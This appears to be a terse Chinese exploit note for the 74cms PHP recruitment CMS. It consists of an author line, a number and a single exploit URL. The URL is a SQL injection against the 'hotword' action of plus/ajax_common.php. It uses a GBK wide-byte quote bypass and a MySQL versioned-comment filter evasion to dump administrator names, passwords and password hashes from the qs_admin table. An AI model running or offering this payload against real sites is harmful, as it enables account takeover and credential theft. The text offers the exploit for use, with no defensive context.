作者：暂时不知道

20140529132133

Exp：

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23